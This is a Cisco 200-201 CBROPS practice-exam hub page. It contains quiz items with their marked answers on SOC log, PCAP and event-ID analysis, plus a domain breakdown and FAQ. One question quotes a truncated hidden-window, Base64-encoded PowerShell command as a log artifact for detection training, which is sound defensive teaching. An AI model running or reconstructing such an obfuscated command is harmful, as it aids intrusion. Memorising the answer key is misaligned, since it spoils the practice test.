in the TCP header fields most directly indicate?","acceptedAnswer":{"@type":"Answer","text":"The sender is retransmitting the same segment because acknowledgments are not being received"},"suggestedAnswer":[{"@type":"Answer","text":"The receiver is advertising a zero window and pausing the sender"},{"@type":"Answer","text":"The sender is performing a sequence prediction attack to hijack the session"},{"@type":"Answer","text":"The connection is using selective acknowledgment (SACK) to fill data gaps"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a PCAP in Wireshark, an analyst examines three consecutive TCP packets between a client (10.1.1.50) and a web server (203.0.113.10). Packet 1 has the SYN flag set; Packet 2 has SYN and ACK flags set; Packet 3 has only the ACK flag set. What does this sequence of TCP header flags indicate to the analyst?","acceptedAnswer":{"@type":"Answer","text":"A successfully completed TCP three-way handshake establishing a connection"},"suggestedAnswer":[{"@type":"Answer","text":"A TCP RST scan being used to enumerate open ports on the server"},{"@type":"Answer","text":"A graceful TCP connection teardown initiated by the client"},{"@type":"Answer","text":"A half-open SYN flood attack that never completes the connection"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is investigating a suspected data exfiltration event. Reviewing the perimeter sensor, she can see the source and destination IP addresses, ports, and the volume of bytes transferred, but the sensor cannot show the actual contents of the transferred files because the traffic uses TLS. Which statement best describes the impact of this encryption on the analyst's data visibility?","acceptedAnswer":{"@type":"Answer","text":"Encryption obscures the payload contents, so the analyst must rely on metadata such as flow volume, endpoints, and timing rather than inspecting the transferred data itself"},"suggestedAnswer":[{"@type":"Answer","text":"Encryption prevents any network-based monitoring, so no useful data can be collected from the session at all"},{"@type":"Answer","text":"Encryption only affects endpoint agents and has no impact on network sensor visibility"},{"@type":"Answer","text":"Encryption increases payload visibility because TLS metadata reveals the plaintext of every packet"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is tuning an IDS after a week of monitoring. During a review, the analyst notes that when normal, benign HTTP traffic from an internal web server passed through the sensor, the IDS correctly generated no alerts and took no action. How should this outcome be classified?","acceptedAnswer":{"@type":"Answer","text":"True negative"},"suggestedAnswer":[{"@type":"Answer","text":"True positive"},{"@type":"Answer","text":"False positive"},{"@type":"Answer","text":"False negative"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews an IDS alert that fired for outbound traffic to a known malicious IP. After investigating the endpoint, the analyst confirms the host is running a trojan that was beaconing to the flagged IP. How should this alert be classified?","acceptedAnswer":{"@type":"Answer","text":"True positive"},"suggestedAnswer":[{"@type":"Answer","text":"False positive"},{"@type":"Answer","text":"True negative"},{"@type":"Answer","text":"False negative"}]},{"@context":"https://schema.org","@type":"Question","text":"During intrusion analysis of a suspicious DNS-based exfiltration attempt, an analyst opens a captured UDP datagram in Wireshark. The Length field in the UDP header reads 512 bytes, but the actual amount of application data (the DNS payload) captured is only 480 bytes. Which interpretation of the UDP Length field is correct for this analysis?","acceptedAnswer":{"@type":"Answer","text":"The UDP Length field counts the 8-byte UDP header plus the payload, so 512 bytes indicates 504 bytes of DNS payload, revealing a mismatch worth investigating for truncation or crafted packets"},"suggestedAnswer":[{"@type":"Answer","text":"The UDP Length field counts only the application payload, so it should equal 480 and the 512 value indicates a corrupted checksum"},{"@type":"Answer","text":"The UDP Length field includes the IP header, so 512 minus 20 bytes yields the true payload size"},{"@type":"Answer","text":"The UDP Length field is always fixed at 512 for DNS traffic and cannot be used to detect anomalies"}]},{"@context":"https://schema.org","@type":"Question","text":"A finance employee receives a phone call from someone claiming to be from the company's IT help desk. The caller states there is an urgent security incident and asks the employee to read back the one-time passcode that was just texted to their phone so IT can 'verify the account.' The employee complies, and minutes later notices unauthorized logins to their account. Which type of attack does this scenario BEST describe?","acceptedAnswer":{"@type":"Answer","text":"Vishing (voice-based social engineering)"},"suggestedAnswer":[{"@type":"Answer","text":"Man-in-the-middle attack"},{"@type":"Answer","text":"Buffer overflow"},{"@type":"Answer","text":"Cross-site scripting"}]},{"@context":"https://schema.org","@type":"Question","text":"A financial services company discovers that several employees' workstations were compromised after visiting an industry news website that they routinely browse for work. Forensic analysis shows the legitimate website was previously breached and serving malicious code that exploited visitors' browsers. The attackers appear to have specifically targeted employees of firms in this sector. Which type of social engineering attack does this scenario describe?","acceptedAnswer":{"@type":"Answer","text":"Watering hole attack"},"suggestedAnswer":[{"@type":"Answer","text":"Spear phishing"},{"@type":"Answer","text":"Pretexting"},{"@type":"Answer","text":"Tailgating"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, an analyst reviews a Windows host and finds the following entry in the Application event log: 'Event ID 1000, Application Error, Faulting application name: outlook.exe, Faulting module name: unknown.dll, Exception code: 0xc0000005'. The analyst also notes that unknown.dll is not signed and was created in a temp directory hours before the crash. What does this log entry most directly indicate?","acceptedAnswer":{"@type":"Answer","text":"An application crash involving an access violation triggered by an unsigned module"},"suggestedAnswer":[{"@type":"Answer","text":"A successful interactive user logon to the host"},{"@type":"Answer","text":"A scheduled Windows Update installation failure"},{"@type":"Answer","text":"A firewall rule blocking outbound traffic from Outlook"}]},{"@context":"https://schema.org","@type":"Question","text":"During a forensic investigation on a Windows workstation, an analyst suspects a malicious file was deleted before the machine was seized. The analyst needs to recover metadata about the deleted file, including its original name, size, and timestamps, even though the file's data clusters may have been reused. Which NTFS operating system component should the analyst examine to find this residual metadata?","acceptedAnswer":{"@type":"Answer","text":"The Master File Table (MFT)"},"suggestedAnswer":[{"@type":"Answer","text":"The Windows Registry SAM hive"},{"@type":"Answer","text":"The pagefile.sys swap file"},{"@type":"Answer","text":"The Volume Shadow Copy scheduler"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, an analyst reviews a Windows PowerShell operational transcript log and finds the following entry: 'powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC4A...'. Based on interpreting this command-line log, what event does this entry most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"An obfuscated PowerShell execution using a Base64-encoded command with a hidden window to evade detection"},"suggestedAnswer":[{"@type":"Answer","text":"A legitimate scheduled maintenance script running with standard parameters"},{"@type":"Answer","text":"A normal user opening the PowerShell ISE to write a script interactively"},{"@type":"Answer","text":"A Windows Update process invoking PowerShell to apply a security patch"}]},{"@context":"https://schema.org","@type":"Question","text":"During a host investigation on a Windows workstation, an analyst needs to examine the hierarchical database that stores configuration settings for the operating system, installed applications, user profiles, and hardware. Which operating system component should the analyst inspect?","acceptedAnswer":{"@type":"Answer","text":"The Windows Registry"},"suggestedAnswer":[{"@type":"Answer","text":"The Master Boot Record (MBR)"},{"@type":"Answer","text":"The Volume Shadow Copy Service (VSS)"},{"@type":"Answer","text":"The Windows Event Log (.evtx) files"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, an analyst reviews the Windows Security event log on a workstation and finds an Event ID 4624 with 'Logon Type: 10' occurring shortly before suspicious activity. What does this log entry most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"A successful remote interactive logon, such as a Remote Desktop (RDP) session"},"suggestedAnswer":[{"@type":"Answer","text":"A successful interactive logon performed physically at the machine's console"},{"@type":"Answer","text":"A failed logon attempt due to an incorrect password"},{"@type":"Answer","text":"A service account starting a background Windows service"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a Windows Security event log on a domain controller, an analyst notices dozens of Event ID 4625 entries generated within a two-minute window, all referencing the same target account 'svc_backup' but originating from a single remote workstation. Each entry lists a Failure Reason of 'Unknown user name or bad password.' What type of event does this log pattern most directly indicate?","acceptedAnswer":{"@type":"Answer","text":"A password brute-force or guessing attempt against the service account"},"suggestedAnswer":[{"@type":"Answer","text":"A successful privilege escalation using stolen service account credentials"},{"@type":"Answer","text":"A normal account lockout caused by an expired Kerberos ticket"},{"@type":"Answer","text":"A pass-the-hash attack that bypassed password authentication entirely"}]},{"@context":"https://schema.org","@type":"Question","text":"During a host-based investigation, an analyst reviews the Windows Security event log on a workstation and finds a series of Event ID 4634 entries associated with a specific user session, each preceded earlier by a matching logon. What does the presence of these Event ID 4634 entries indicate?","acceptedAnswer":{"@type":"Answer","text":"An account was successfully logged off, ending an active session"},"suggestedAnswer":[{"@type":"Answer","text":"An account failed authentication multiple times"},{"@type":"Answer","text":"A new local user account was created on the host"},{"@type":"Answer","text":"Special privileges were assigned to a newly logged-on account"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing the Windows Security event log on a domain controller after a suspected compromise, an analyst finds Event ID 4672 recorded immediately after a successful interactive logon for a standard help-desk account that should never have administrative rights. What does the presence of this event most directly indicate the analyst should investigate?","acceptedAnswer":{"@type":"Answer","text":"The account was assigned special (administrative-equivalent) privileges at logon, suggesting possible privilege abuse or misconfiguration"},"suggestedAnswer":[{"@type":"Answer","text":"The account's password was changed by an administrator during the session"},{"@type":"Answer","text":"A new user account was created on the domain controller"},{"@type":"Answer","text":"The account failed to authenticate multiple times before locking out"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing Windows Security event logs on a workstation, an analyst finds Event ID 4688 showing that 'cmd.exe' launched 'powershell.exe -enc ' with the parent process listed as 'winword.exe'. What does this log entry most directly indicate the analyst should investigate?","acceptedAnswer":{"@type":"Answer","text":"A new process creation event where a document application spawned an encoded PowerShell command"},"suggestedAnswer":[{"@type":"Answer","text":"A successful interactive user logon at the console"},{"@type":"Answer","text":"A Windows service failing to start due to a missing dependency"},{"@type":"Answer","text":"An account lockout caused by repeated failed authentication attempts"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing Windows Security logs on a workstation flagged by the SOC, an analyst finds Event ID 4698 recorded shortly after a suspicious PowerShell session. The event shows a new task named 'SystemUpdateCheck' configured to run an executable from a user's AppData folder every 30 minutes. What activity does this log entry most directly indicate?","acceptedAnswer":{"@type":"Answer","text":"An attacker establishing persistence by creating a scheduled task"},"suggestedAnswer":[{"@type":"Answer","text":"A legitimate Windows Update service performing a routine integrity check"},{"@type":"Answer","text":"An interactive user logon initiated from a remote host"},{"@type":"Answer","text":"A privilege escalation attempt exploiting a service misconfiguration"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation of a compromised Windows domain controller, an analyst reviews the Security event log and finds an Event ID 4720 recorded at 03:14 AM, immediately followed by an Event ID 4728. The 4720 event references a new account named 'svc_backup2'. What activity does this sequence most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"A new user account was created and then added to a security group"},"suggestedAnswer":[{"@type":"Answer","text":"A user successfully logged on interactively during off-hours"},{"@type":"Answer","text":"A scheduled service failed to start and was restarted automatically"},{"@type":"Answer","text":"An existing account's password was reset by an administrator"}]},{"@context":"https://schema.org","@type":"Question","text":"During a review of a Windows Domain Controller's Security log, an analyst finds Event ID 4740 for the user account 'jsmith' generated three times within a five-minute window, each referencing the same source workstation 'WKSTN-14'. What event does this log entry indicate?","acceptedAnswer":{"@type":"Answer","text":"A user account was locked out after exceeding the failed logon threshold"},"suggestedAnswer":[{"@type":"Answer","text":"A new user account named 'jsmith' was successfully created"},{"@type":"Answer","text":"A user account was granted special privileges at logon"},{"@type":"Answer","text":"A user successfully logged on interactively to the workstation"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, an analyst reviews a domain controller's Security log and finds numerous Event ID 4776 entries showing 'The computer attempted to validate the credentials for an account' with error code 0xC0000064 across many different account names in rapid succession from a single source workstation. What activity does this pattern most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"A user account enumeration attempt where the attacker is testing which usernames exist on the domain via NTLM authentication"},"suggestedAnswer":[{"@type":"Answer","text":"Normal Kerberos ticket-granting activity during morning login peaks"},{"@type":"Answer","text":"A scheduled task being registered on the domain controller for persistence"},{"@type":"Answer","text":"A successful privilege escalation using a service account token"}]},{"@context":"https://schema.org","@type":"Question","text":"During a forensic examination of a Windows 10 workstation, an analyst wants to recover fragments of application data that were resident in RAM but written to a location on disk when physical memory ran low. Which operating system component should the analyst examine to find this data?","acceptedAnswer":{"@type":"Answer","text":"The pagefile.sys located at the root of the system volume"},"suggestedAnswer":[{"@type":"Answer","text":"The Master Boot Record (MBR) on sector 0 of the disk"},{"@type":"Answer","text":"The SYSTEM registry hive under %SystemRoot%\\System32\\config"},{"@type":"Answer","text":"The NTFS $Bitmap metadata file tracking cluster allocation"}]},{"@context":"https://schema.org","@type":"Question","text":"While investigating why endpoint protection stopped reporting to the console, an analyst reviews a Windows host and finds Event ID 7034 in the System log stating the 'Sysmon' service terminated unexpectedly, followed minutes later by Event ID 7036 indicating the service entered the stopped state. No corresponding restart entry appears. Based on this evidence, what event does the analyst most likely need to escalate?","acceptedAnswer":{"@type":"Answer","text":"A monitoring/logging service was disrupted, potentially indicating defense evasion that reduced host visibility"},"suggestedAnswer":[{"@type":"Answer","text":"A successful interactive user logon that requires 4624 correlation"},{"@type":"Answer","text":"A scheduled Windows Update installed a driver and rebooted the host"},{"@type":"Answer","text":"An application crash of a user-mode program recorded in the Application log"}]}]}

Cisco · Associate

Cisco CCNA Cybersecurity (200-201 CCNACBR) (200-201) practice exam & study guide

Cisco CCNA Cybersecurity (200-201 CCNACBR) — formerly branded CyberOps Associate — is the exam for Cisco’s associate-level cybersecurity-operations certification, aimed at entry-level security operations center (SOC) analysts. It validates skills across five areas — security concepts, security monitoring, host-based analysis, network intrusion analysis, and security policies and procedures.

CBROPS is an associate-level exam focused on the day-to-day work of a SOC analyst: monitoring, detecting, analyzing, and responding to security events. It emphasizes analysis and interpretation over device configuration.

This free hub gives you everything you need to prepare: a syllabus breakdown by exam domain, realistic practice questions with teacher-style explanations, a glossary of the security-operations concepts the exam relies on, and full-length timed mock exams that mirror the real testing experience.

90

Questions

120 min

Time limit

75%

Mock pass %

5

Domains

Start studying 200-201

New here? Follow the three steps below in order. Everything is free and needs no account.

1. 1
   Learn the plan

   See all 5 domains in exam-weight order.

   Open study path
2. 2
   Drill by domain

   Practice one topic at a time with explained answers.

   Start with the first domain
3. 3
   Sit a timed mock

   90 questions · 120 min · 75% to pass our mock.

   Take the mock exam

All 200-201 study resources

Full-length mock exam

90 questions · 120 minutes · 75% to pass our mock

Practice by topic

Focus on one of the 5 exam domains at a time.

Practice by difficulty

Warm up on easy recall or push into hard scenario questions.

Study path

A domain-by-domain plan, in the order the exam weights them.

200-201 cheat sheet

Format, domain weightings, and key terms on one page.

Single practice questions

145 practice questions, each with a full explanation.

200-201 glossary

Plain-English definitions for the exam’s key terms.

200-201 exam domains

The 200-201 exam is weighted across 5 domains. Pick any domain below to drill it — or read the full breakdown in the FAQ.

Exam domain	Exam weight	Practice
Security Concepts	20%	Practice this topic
Security Monitoring	25%	Practice this topic
Host-Based Analysis	20%	Practice this topic
Network Intrusion Analysis	20%	Practice this topic
Security Policies and Procedures	15%	Practice this topic

Sample 200-201 questions

A sample of the 200-201 questions on this hub. Each links through to the full question, the correct answer, and an explanation of why every other option is wrong.

• A defense contractor requires that every file and user be assigned a sensitivity label (e.g., Confidential, Secret, Top Secret), and the operating sys…View question
• A security analyst is tasked with monitoring workloads that a development team spins up and tears down in a public cloud environment. The workloads ar…View question
• A SOC analyst is building a dashboard and wants to include a data source that provides human-readable notifications generated when traffic matches pre…View question
• During an intrusion investigation, an analyst opens a PCAP in Wireshark and examines an Ethernet frame carrying an ARP packet. The frame's destination…View question
• A SOC analyst reviewing switch logs and host ARP caches notices that two different IP addresses on the same VLAN — the default gateway (192.168.10.1)…View question
• During a security review, an analyst documents that the company's public web portal exposes an HTTP interface, an SSH management port, and an outdated…View question
• During a breach investigation, an analyst has confirmed the malware family, the exploited vulnerability, and the affected systems. Management now asks…View question
• A remote employee successfully logs into the corporate VPN using a valid username, password, and a token from their authenticator app. After connectin…View question
• An e-commerce company's public web application becomes unreachable for two hours during a peak sales event. Investigation reveals a volumetric flood o…View question
• An employee reports finding several unlabeled USB flash drives scattered in the company parking lot. Curious, one worker plugged a drive into their wo…View question

Key 200-201 terms

Start with these terms, then explore the full glossary. Each links to a plain-English definition written for the 200-201 exam.

CIA TriadDefense in DepthSIEMSOARCVSS5-tupleThreat IntelligenceThreat Hunting

200-201 frequently asked questions

What is the 200-201 certification?+

CCNACBR is the single exam for Cisco’s CCNA Cybersecurity certification (formerly CyberOps Associate), a common entry point into security operations and threat monitoring careers.

It focuses on analysis skills — reading logs, PCAPs, and alerts — so success rewards understanding how attacks appear in data rather than configuring devices.

What topics are on the 200-201 exam?+

The CBROPS exam is organised into five weighted domains. The percentages below are Cisco’s official blueprint weightings, so bias your study toward the heaviest domain — Security Monitoring is the largest at 25%, followed by three domains tied at 20%.

Security Concepts (20%)

Covers the CIA triad, comparing security deployments (network/endpoint/application, agent vs agentless, SIEM/SOAR), security terms (threat intelligence, threat hunting, malware analysis), risk/threat/vulnerability/exploit, defense in depth, access control models, and CVSS metrics.

Security Monitoring (25%)

The largest domain. Covers types of data used in monitoring (full packet capture, session data, transaction data, alert data), attack surfaces and vulnerabilities, network technologies and protocols as sources, and the impact of access control lists, NAT, tunneling, TOR, and encryption on visibility. (Rule-based vs behavioral detection sits in Security Concepts; protocol-header and PCAP interpretation sits in Network Intrusion Analysis.)

Host-Based Analysis (20%)

Covers operating-system components (Windows and Linux), the role of attribution, types of evidence from logs, comparing tampered and untampered disk images, interpreting OS/application/command-line logs, and reading malware analysis tool output.

Network Intrusion Analysis (20%)

Covers mapping events to source technologies, comparing impact vs no impact, deep packet inspection vs packet filtering vs stateful firewalls, inline interrogation vs taps, extracting files from a PCAP with Wireshark, and interpreting protocol header fields and artifacts.

Security Policies and Procedures (15%)

Covers management concepts, elements of network and server profiling, the incident-response process (NIST SP 800-61), the CSIRT and its stakeholders, and applying an incident-handling framework and evidence handling (chain of custody).

Is the 200-201 hard?+

CBROPS is challenging because it is analysis-heavy: you must interpret logs, packet captures, and alerts and reason about how attacks appear in real data.

The heavy Security Monitoring and analysis weighting rewards familiarity with SOC tooling and traffic analysis. It is entry-level in scope but demands hands-on comfort with data.

How many questions are on the 200-201 exam and how long is it?+

CBROPS (200-201) is a 120-minute exam with a mix of multiple-choice and other item types; Cisco does not publish an exact question count. It is the single exam for Cisco’s CCNA Cybersecurity certification (formerly branded CyberOps Associate).

Our full-length practice mock uses a 90-question, 120-minute session so you can rehearse pacing across all five domains before test day.

What score do you need to pass the 200-201?+

Cisco does not publish a fixed passing score for CBROPS; scaled cut scores are not disclosed and vary by exam form, so the 75% threshold on our practice mock is our own study checkpoint rather than an official cutline. Because there is no guessing penalty, answer every question.

How much does the 200-201 exam cost?+

The CBROPS exam fee is set by Cisco (around US$300) — check the Cisco site for current pricing. The certification is valid for three years. Everything on this hub is free.

Who should take the 200-201?+

CBROPS is aimed at aspiring and junior SOC analysts, security operations staff, and networking professionals moving into security monitoring.

There is no formal prerequisite, but a basic understanding of networking and security fundamentals helps before attempting it.

What jobs and salaries can the 200-201 lead to?+

CBROPS maps to roles such as SOC analyst (tier 1), security operations analyst, and incident-response junior analyst.

How much any certification affects pay depends heavily on geography, seniority, and experience, so treat any single salary figure with caution. CBROPS is best viewed as proof of entry-level security-operations skill.

How long does it take to study for the 200-201?+

Candidates often need six to twelve weeks, spent practicing log, alert, and packet-capture analysis alongside the concepts.

Review every explanation, including for questions you answered correctly, because CBROPS distractors are built from plausible but incorrect analysis conclusions. Use the per-domain results here to find your weakest area, then finish with full-length timed mocks.

How should you prepare for the 200-201?+

Study the five domains above, giving the heaviest weight to Security Monitoring, then drill scenario questions domain by domain while practicing with logs, PCAPs, and Wireshark. Every MockAPI question reveals a full explanation and tells you why each wrong answer is wrong.

When you can interpret alerts and captures comfortably, move to full-length timed mocks. Use the glossary to keep concepts like the CIA triad, SIEM/SOAR, CVSS, the 5-tuple, and chain of custody straight, and aim to score consistently above the checkpoint before you book.

Can you take the 200-201 exam online?+

Yes. Cisco delivers 200-201 CBROPS through Pearson VUE, so you can test at a physical Pearson VUE centre or online with OnVUE remote proctoring. The online exam requires a private, quiet room, a clear workspace, a webcam and microphone, a stable connection, and government-issued photo ID, with a proctor monitoring you and a room scan before you start.

If you do not pass, Cisco enforces a waiting period of five calendar days before you can retake the same exam.

What certification should you take after the 200-201?+

After CCNA Cybersecurity, the natural next step is Cisco’s CCNP Cybersecurity certification (formerly CyberOps Professional, including the CBRCOR core exam) for more advanced security operations.

For many, the real next step is a SOC analyst role. Pairing CCNA Cybersecurity with hands-on monitoring experience is what turns the certificate into a career.